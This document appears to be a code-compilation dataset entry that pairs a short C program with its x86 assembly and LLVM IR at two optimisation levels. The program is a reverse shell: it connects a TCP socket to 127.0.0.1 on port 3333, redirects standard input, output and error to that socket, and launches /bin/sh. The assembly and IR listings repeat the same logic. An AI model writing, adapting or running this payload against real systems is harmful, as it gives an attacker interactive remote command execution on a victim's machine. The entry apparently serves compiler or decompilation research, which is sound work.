#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  char client_ip[] = "127.0.0.1";
  int sock_file_descripter;
  int network_port = 3333;
  struct sockaddr_in mysockaddr;
  sock_file_descripter = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET;
  mysockaddr.sin_port = htons(network_port);
  mysockaddr.sin_addr.s_addr = inet_addr(client_ip);
  connect(sock_file_descripter, (struct sockaddr *)&mysockaddr,
          sizeof(struct sockaddr));
  dup2(sock_file_descripter, 0);
  dup2(sock_file_descripter, 1);
  dup2(sock_file_descripter, 2);
  execve("/bin/sh", NULL, NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    0xe8a(%rip),%rax
mov    %rax,-0xe(%rbp)
mov    0xe87(%rip),%ax
mov    %ax,-0x6(%rbp)
movl   $0xd05,-0x18(%rbp)
mov    0x2e55(%rip),%rax
mov    (%rax),%edi
mov    0x2e3c(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,-0x14(%rbp)
mov    0x2e39(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    -0x18(%rbp),%edi
call   1030 <htons@plt>
mov    %eax,-0x24(%rbp)
lea    -0xe(%rbp),%rdi
call   1060 <inet_addr@plt>
mov    %eax,-0x28(%rbp)
mov    -0x14(%rbp),%edi
lea    -0x28(%rbp),%rsi
mov    $0x4,%edx
call   1070 <connect@plt>
mov    -0x14(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe03(%rip),%rdi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
sub    $0x28,%rsp
movabs $0x2e302e302e373231,%rax
2e 30 2e
mov    %rax,0x18(%rsp)
movw   $0x31,0x20(%rsp)
mov    0x2e64(%rip),%r14
mov    (%r14),%edi
mov    0x2e4a(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,%ebx
mov    (%r14),%eax
mov    %eax,0x10(%rsp)
mov    $0xd05,%edi
call   1030 <htons@plt>
mov    %eax,0xc(%rsp)
lea    0x18(%rsp),%rdi
call   1060 <inet_addr@plt>
mov    %eax,0x8(%rsp)
lea    0x8(%rsp),%rsi
mov    %ebx,%edi
mov    $0x4,%edx
call   1070 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe15(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x28,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.client_ip = [10 x i8] c"127.0.0.1\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [10 x i8]
%3 = alloca i32
%4 = alloca i32
%5 = alloca %struct.sockaddr_in
store i32 0, i32* %1
%6 = bitcast [10 x i8]* %2 to i8*
store i32 3333, i32* %4
%7 = load i32, i32* @AF_INET
%8 = load i32, i32* @SOCK_STREAM
%9 = call i32 @socket(i32 %7, i32 %8, i32 0)
store i32 %9, i32* %3
%10 = load i32, i32* @AF_INET
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i32 0, i32 2
store i32 %10, i32* %11
%12 = load i32, i32* %4
%13 = call i32 @htons(i32 %12)
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i32 0, i32 1
store i32 %13, i32* %14
%15 = getelementptr inbounds [10 x i8], [10 x i8]* %2, i64 0, i64 0
%16 = call i32 @inet_addr(i8* %15)
%17 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %5, i32 0, i32 0
%18 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %17, i32 0, i32 0
store i32 %16, i32* %18
%19 = load i32, i32* %3
%20 = bitcast %struct.sockaddr_in* %5 to %struct.sockaddr*
%21 = call i32 @connect(i32 %19, %struct.sockaddr* %20, i32 4)
%22 = load i32, i32* %3
%23 = call i32 @dup2(i32 %22, i32 0)
%24 = load i32, i32* %3
%25 = call i32 @dup2(i32 %24, i32 1)
%26 = load i32, i32* %3
%27 = call i32 @dup2(i32 %26, i32 2)
%28 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@__const.main.client_ip = [10 x i8] c"127.0.0.1\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca [10 x i8]
%2 = alloca %struct.sockaddr_in
%3 = getelementptr inbounds [10 x i8], [10 x i8]* %1, i64 0, i64 0
%4 = bitcast %struct.sockaddr_in* %2 to i8*
%5 = load i32, i32* @AF_INET
%6 = load i32, i32* @SOCK_STREAM
%7 = tail call i32 @socket(i32 %5, i32 %6, i32 0)
%8 = load i32, i32* @AF_INET
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 2
store i32 %8, i32* %9
%10 = tail call i32 @htons(i32 3333)
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 1
store i32 %10, i32* %11
%12 = call i32 @inet_addr(i8* %3)
%13 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i64 0, i32 0, i32 0
store i32 %12, i32* %13
%14 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%15 = call i32 @connect(i32 %7, %struct.sockaddr* %14, i32 4)
%16 = call i32 @dup2(i32 %7, i32 0)
%17 = call i32 @dup2(i32 %7, i32 1)
%18 = call i32 @dup2(i32 %7, i32 2)
%19 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i32* null, i32* null)
ret i32 0
}